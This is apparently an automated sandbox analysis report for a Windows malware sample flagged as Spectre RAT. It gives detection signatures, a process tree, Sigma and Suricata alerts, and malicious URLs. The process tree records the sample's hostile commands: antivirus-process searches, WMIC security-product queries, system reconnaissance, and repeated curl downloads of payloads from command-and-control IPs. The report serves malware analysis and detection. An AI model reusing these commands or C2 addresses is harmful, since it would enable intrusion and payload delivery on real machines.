Edit tour

Windows Analysis Report
vqMMwqCFZQ.exe

Overview

General Information

Sample name:	vqMMwqCFZQ.exe (renamed file extension from none to exe, renamed because original name is a hash value)
Original sample name:	5b14c48842c63552a468d3da9500bb34f3bbd1cd16decbc17a22ff0f2aada887
Analysis ID:	1560430
MD5:	8e55a7932d1b9649aba9d3e97ca688ce
SHA1:	32afffa80d0f8778c8670f1b9996c602a81de455
SHA256:	5b14c48842c63552a468d3da9500bb34f3bbd1cd16decbc17a22ff0f2aada887
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Copy itself to suspicious location via type command

Sigma detected: Search for Antivirus process

Suricata IDS alerts for network traffic

AI detected suspicious sample

Drops PE files with a suspicious file extension

Machine Learning detection for dropped file

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Writes many files with high entropy

Writes or reads registry keys via WMI

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Found dropped PE file which has not been started or loaded

Found evasive API chain (date check)

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Execution of Suspicious File Type Extension

Sigma detected: Recon Command Output Piped To Findstr.EXE

Sigma detected: Suspicious Copy From or To System Directory

Sigma detected: Usage Of Web Request Commands And Cmdlets

Too many similar processes found

Tries to resolve domain names, but no domain seems valid (expired dropper behavior)

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

vqMMwqCFZQ.exe (PID: 3496 cmdline: "C:\Users\user\Desktop\vqMMwqCFZQ.exe" MD5: 8E55A7932D1B9649ABA9D3E97CA688CE)

cmd.exe (PID: 6024 cmdline: "C:\Windows\System32\cmd.exe" /c copy Trees Trees.bat & Trees.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4460 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 5672 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 3488 cmdline: findstr /I "wrsa opssvc" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

tasklist.exe (PID: 2520 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 7004 cmdline: findstr -I "avastui avgui bdservicehost nswscsvc sophoshealth" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 2936 cmdline: cmd /c md 139918 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

findstr.exe (PID: 6712 cmdline: findstr /V "SyntaxMilesImperialTriple" Credits MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 6164 cmdline: cmd /c copy /b ..\Asked + ..\Leaving + ..\During + ..\Chairman + ..\Bracket + ..\Label + ..\Perhaps v MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Ur.pif (PID: 2476 cmdline: Ur.pif v MD5: 18CE19B57F43CE0A5AF149C96AECC685)

cmd.exe (PID: 3164 cmdline: "C:\Windows\System32\cmd.exe" /C WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName > C:\Users\user\AppData\Local\temp\807 2>&1 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3068 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 5740 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 6932 cmdline: WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName MD5: E2DE6500DE1148C7F6027AD50AC8B891)

cmd.exe (PID: 2724 cmdline: "C:\Windows\System32\cmd.exe" /C type C:\Users\user\AppData\Local\temp\807 > C:\Users\user\AppData\Local\temp\237 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5236 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 1072 cmdline: "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\jrdip" "178.215.224.252/v10/ukyh.php?jspo=6" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6928 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 4476 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 5568 cmdline: curl -s -o "C:\Users\user\AppData\Local\temp\jrdip" "178.215.224.252/v10/ukyh.php?jspo=6" MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

cmd.exe (PID: 4480 cmdline: "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\dxjyu" "178.215.224.74/v10/ukyh.php?jspo=6" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7096 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 6692 cmdline: curl -s -o "C:\Users\user\AppData\Local\temp\dxjyu" "178.215.224.74/v10/ukyh.php?jspo=6" MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

cmd.exe (PID: 2484 cmdline: "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\dhmio" "178.215.224.74/v10/ukyh.php?jspo=5" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3060 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 6024 cmdline: curl -s -o "C:\Users\user\AppData\Local\temp\dhmio" "178.215.224.74/v10/ukyh.php?jspo=5" MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

cmd.exe (PID: 1544 cmdline: "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\fprwf" "178.215.224.74/v10/ukyh.php?jspo=6" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1284 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 2060 cmdline: curl -s -o "C:\Users\user\AppData\Local\temp\fprwf" "178.215.224.74/v10/ukyh.php?jspo=6" MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

cmd.exe (PID: 5368 cmdline: "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\nhrsa" "178.215.224.74/v10/ukyh.php?jspo=6" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1696 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 3916 cmdline: curl -s -o "C:\Users\user\AppData\Local\temp\nhrsa" "178.215.224.74/v10/ukyh.php?jspo=6" MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

Conhost.exe (PID: 6116 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 4124 cmdline: "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\rrmou" "178.215.224.74/v10/ukyh.php?jspo=35&xvgj=YXp2dy5leGU%3D" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4556 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 5932 cmdline: curl -s -o "C:\Users\user\AppData\Local\temp\rrmou" "178.215.224.74/v10/ukyh.php?jspo=35&xvgj=YXp2dy5leGU%3D" MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

cmd.exe (PID: 4308 cmdline: "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\fofqx" "178.215.224.74/v10/ukyh.php?jspo=6" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3888 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 2104 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 5448 cmdline: curl -s -o "C:\Users\user\AppData\Local\temp\fofqx" "178.215.224.74/v10/ukyh.php?jspo=6" MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

cmd.exe (PID: 3020 cmdline: "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\zxfdn" "178.215.224.74/v10/ukyh.php?jspo=6" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2852 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 6012 cmdline: curl -s -o "C:\Users\user\AppData\Local\temp\zxfdn" "178.215.224.74/v10/ukyh.php?jspo=6" MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

cmd.exe (PID: 428 cmdline: "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\gvhdi" "178.215.224.74/v10/ukyh.php?jspo=35&xvgj=eGh3cS56aXA%3D" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2200 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 2124 cmdline: curl -s -o "C:\Users\user\AppData\Local\temp\gvhdi" "178.215.224.74/v10/ukyh.php?jspo=35&xvgj=eGh3cS56aXA%3D" MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

cmd.exe (PID: 2836 cmdline: "C:\Windows\System32\cmd.exe" /C cd "C:\Users\user\AppData\Roaming\DolphinDumps" & azvw.exe -o xhwq.zip MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3220 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

azvw.exe (PID: 2664 cmdline: azvw.exe -o xhwq.zip MD5: 75375C22C72F1BEB76BEA39C22A1ED68)

Conhost.exe (PID: 2996 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 4092 cmdline: "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\agadw" "178.215.224.74/v10/ukyh.php?jspo=6" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6020 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 2336 cmdline: curl -s -o "C:\Users\user\AppData\Local\temp\agadw" "178.215.224.74/v10/ukyh.php?jspo=6" MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

Conhost.exe (PID: 5660 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 2540 cmdline: "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\mncym" "178.215.224.74/v10/ukyh.php?jspo=31" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2992 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 6192 cmdline: curl -s -o "C:\Users\user\AppData\Local\temp\mncym" "178.215.224.74/v10/ukyh.php?jspo=31" MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

cmd.exe (PID: 6300 cmdline: "C:\Windows\System32\cmd.exe" /C systeminfo | findstr /C:"OS Name" > C:\Users\user\AppData\Roaming\DolphinDumps\jvx 2>&1 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6304 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

systeminfo.exe (PID: 6416 cmdline: systeminfo MD5: 36CCB1FFAFD651F64A22B5DA0A1EA5C5)

WmiPrvSE.exe (PID: 6660 cmdline: C:\Windows\sysWOW64\wbem\wmiprvse.exe -secured -Embedding MD5: 64ACA4F48771A5BA50CD50F2410632AD)

Conhost.exe (PID: 6588 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

findstr.exe (PID: 6528 cmdline: findstr /C:"OS Name" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

Conhost.exe (PID: 6440 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7052 cmdline: "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\lyvbm" "178.215.224.74/v10/ukyh.php?jspo=6" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7072 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 6264 cmdline: curl -s -o "C:\Users\user\AppData\Local\temp\lyvbm" "178.215.224.74/v10/ukyh.php?jspo=6" MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

cmd.exe (PID: 2008 cmdline: "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\dxmcp" "178.215.224.74/v10/ukyh.php?jspo=6" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2364 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 5828 cmdline: curl -s -o "C:\Users\user\AppData\Local\temp\dxmcp" "178.215.224.74/v10/ukyh.php?jspo=6" MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

cmd.exe (PID: 5180 cmdline: "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\oqsxp" "178.215.224.74/v10/ukyh.php?jspo=7" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4924 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 5172 cmdline: curl -s -o "C:\Users\user\AppData\Local\temp\oqsxp" "178.215.224.74/v10/ukyh.php?jspo=7" MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

Conhost.exe (PID: 5180 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 5944 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 2520 cmdline: "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\hzizi" "178.215.224.74/v10/ukyh.php?jspo=6" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6808 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 6716 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 4476 cmdline: curl -s -o "C:\Users\user\AppData\Local\temp\hzizi" "178.215.224.74/v10/ukyh.php?jspo=6" MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

cmd.exe (PID: 2756 cmdline: "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\qfmnd" "178.215.224.74/v10/ukyh.php?jspo=10&melq=1" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5992 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 772 cmdline: curl -s -o "C:\Users\user\AppData\Local\temp\qfmnd" "178.215.224.74/v10/ukyh.php?jspo=10&melq=1" MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

Conhost.exe (PID: 1516 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 5568 cmdline: "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\fbswm" "178.215.224.74/v10/ukyh.php?jspo=6" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3496 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 4280 cmdline: curl -s -o "C:\Users\user\AppData\Local\temp\fbswm" "178.215.224.74/v10/ukyh.php?jspo=6" MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

Conhost.exe (PID: 1992 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 4076 cmdline: "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\nefne" "178.215.224.74/v10/ukyh.php?jspo=6" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1376 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 6696 cmdline: curl -s -o "C:\Users\user\AppData\Local\temp\nefne" "178.215.224.74/v10/ukyh.php?jspo=6" MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

cmd.exe (PID: 3520 cmdline: "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\zxjrd" "178.215.224.74/v10/ukyh.php?jspo=35&xvgj=UmV2ZW51ZURldmljZXMuZXhl" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3060 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 1508 cmdline: curl -s -o "C:\Users\user\AppData\Local\temp\zxjrd" "178.215.224.74/v10/ukyh.php?jspo=35&xvgj=UmV2ZW51ZURldmljZXMuZXhl" MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

RevenueDevices.exe (PID: 1892 cmdline: "C:\Users\user\AppData\Local\temp\RevenueDevices.exe" MD5: B487B5B51436B42576D60A1FE58F8399)

cmd.exe (PID: 5444 cmdline: "C:\Windows\System32\cmd.exe" /c copy Seek Seek.cmd & Seek.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1352 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 3592 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

cmd.exe (PID: 5068 cmdline: "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\fntgj" "178.215.224.74/v10/ukyh.php?jspo=6" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4468 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 6032 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 1696 cmdline: curl -s -o "C:\Users\user\AppData\Local\temp\fntgj" "178.215.224.74/v10/ukyh.php?jspo=6" MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

cmd.exe (PID: 2104 cmdline: "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\jyffr" "178.215.224.74/v10/ukyh.php?gi" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4824 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 5632 cmdline: curl -s -o "C:\Users\user\AppData\Local\temp\jyffr" "178.215.224.74/v10/ukyh.php?gi" MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

cmd.exe (PID: 5848 cmdline: "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\wbqtj" "178.215.224.74/v10/ukyh.php?jspo=6" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5968 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 428 cmdline: curl -s -o "C:\Users\user\AppData\Local\temp\wbqtj" "178.215.224.74/v10/ukyh.php?jspo=6" MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

Conhost.exe (PID: 5232 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

choice.exe (PID: 2896 cmdline: choice /d y /t 5 MD5: FCE0E41C87DC4ABBE976998AD26C27E4)

Conhost.exe (PID: 2248 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Sigma Signatures

Spreading

Sigma detected: Copy itself to suspicious location via type command

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /C type C:\Users\user\AppData\Local\temp\807 > C:\Users\user\AppData\Local\temp\237, CommandLine: "C:\Windows\System32\cmd.exe" /C type C:\Users\user\AppData\Local\temp\807 > C:\Users\user\AppData\Local\temp\237, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: Ur.pif v, ParentImage: C:\Users\user\AppData\Local\Temp\139918\Ur.pif, ParentProcessId: 2476, ParentProcessName: Ur.pif, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /C type C:\Users\user\AppData\Local\temp\807 > C:\Users\user\AppData\Local\temp\237, ProcessId: 2724, ProcessName: cmd.exe

System Summary

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: Ur.pif v, CommandLine: Ur.pif v, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\139918\Ur.pif, NewProcessName: C:\Users\user\AppData\Local\Temp\139918\Ur.pif, OriginalFileName: C:\Users\user\AppData\Local\Temp\139918\Ur.pif, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c copy Trees Trees.bat & Trees.bat, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 6024, ParentProcessName: cmd.exe, ProcessCommandLine: Ur.pif v, ProcessId: 2476, ProcessName: Ur.pif

Sigma detected: Recon Command Output Piped To Findstr.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), frack113: Data: Command: "C:\Windows\System32\cmd.exe" /C systeminfo | findstr /C:"OS Name" > C:\Users\user\AppData\Roaming\DolphinDumps\jvx 2>&1, CommandLine: "C:\Windows\System32\cmd.exe" /C systeminfo | findstr /C:"OS Name" > C:\Users\user\AppData\Roaming\DolphinDumps\jvx 2>&1, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: Ur.pif v, ParentImage: C:\Users\user\AppData\Local\Temp\139918\Ur.pif, ParentProcessId: 2476, ParentProcessName: Ur.pif, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /C systeminfo | findstr /C:"OS Name" > C:\Users\user\AppData\Roaming\DolphinDumps\jvx 2>&1, ProcessId: 6300, ProcessName: cmd.exe

Sigma detected: Suspicious Copy From or To System Directory

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Tim Shelton (HAWK.IO), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c copy Trees Trees.bat & Trees.bat, CommandLine: "C:\Windows\System32\cmd.exe" /c copy Trees Trees.bat & Trees.bat, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\vqMMwqCFZQ.exe", ParentImage: C:\Users\user\Desktop\vqMMwqCFZQ.exe, ParentProcessId: 3496, ParentProcessName: vqMMwqCFZQ.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c copy Trees Trees.bat & Trees.bat, ProcessId: 6024, ProcessName: cmd.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\jrdip" "178.215.224.252/v10/ukyh.php?jspo=6", CommandLine: "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\jrdip" "178.215.224.252/v10/ukyh.php?jspo=6", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: Ur.pif v, ParentImage: C:\Users\user\AppData\Local\Temp\139918\Ur.pif, ParentProcessId: 2476, ParentProcessName: Ur.pif, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\jrdip" "178.215.224.252/v10/ukyh.php?jspo=6", ProcessId: 1072, ProcessName: cmd.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Search for Antivirus process

Source: Process started

Author: Joe Security: Data: Command: findstr -I "avastui avgui bdservicehost nswscsvc sophoshealth" , CommandLine: findstr -I "avastui avgui bdservicehost nswscsvc sophoshealth" , CommandLine|base64offset|contains: ~), Image: C:\Windows\SysWOW64\findstr.exe, NewProcessName: C:\Windows\SysWOW64\findstr.exe, OriginalFileName: C:\Windows\SysWOW64\findstr.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c copy Trees Trees.bat & Trees.bat, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 6024, ParentProcessName: cmd.exe, ProcessCommandLine: findstr -I "avastui avgui bdservicehost nswscsvc sophoshealth" , ProcessId: 7004, ProcessName: findstr.exe

Suricata Signatures

ETPRO MALWARE Win32/Spectre RAT CnC Activity M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T20:00:35.393060+0100	2853767	1	Malware Command and Control Activity Detected	192.168.2.4	49874	178.215.224.74	80	TCP

ETPRO MALWARE Win32/SpectreRAT CnC Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T20:00:35.393060+0100	2853768	1	A Network Trojan was detected	192.168.2.4	49874	178.215.224.74	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://178.215.224.74/v10/ukyh.php?jspo=6ecur32.dll	Avira URL Cloud: Label: malware
Source: http://178.215.224.74/v10/ukyh.php?jspo=2021&jwvs=9A5605DE11447A0E2031624EE8FBDE	Avira URL Cloud: Label: malware
